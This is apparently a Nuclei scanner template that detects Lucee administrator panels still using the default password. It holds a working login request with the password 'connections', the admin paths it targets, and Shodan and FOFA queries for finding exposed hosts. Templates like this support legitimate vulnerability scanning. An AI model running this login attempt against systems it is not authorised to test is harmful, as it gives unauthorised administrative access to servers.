id: lucee-default-login

info:
  name: Lucee - Default Login
  author: jpg0mez
  severity: high
  description: |
    Lucee admin panel using the default login password was discovered.
  reference:
    - https://support.intranetconnections.com/hc/en-us/articles/115012060627-Lucee-Configuration
  classification:
    cwe-id: CWE-1392
  metadata:
    verified: true
    max-request: 1
    shodan-query: "html:\"Lucee\""
    fofa-query: "app=\"Lucee-Engine\""
  tags: lucee,default-login,vuln

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_passwordweb={{password}}&lang=en&rememberMe=s&submit=submit

    attack: pitchfork
    payloads:
      path:
        - /lucee/admin/web.cfm
        - /lucee/admin/server.cfm
      password:
        - "connections"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Overview - Lucee Web Administrator")'
          - '!contains(body, "Access is protected")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022067511f01603c4c82a2972cb5d28f7f7402d98bfba6f35ae8e3907c0859e7e11c02210087dff420101b3e4498627a756353d0d09a2d4c429e5b40120a30bea660028fa3:922c64590222798bb761d5b6d8e72950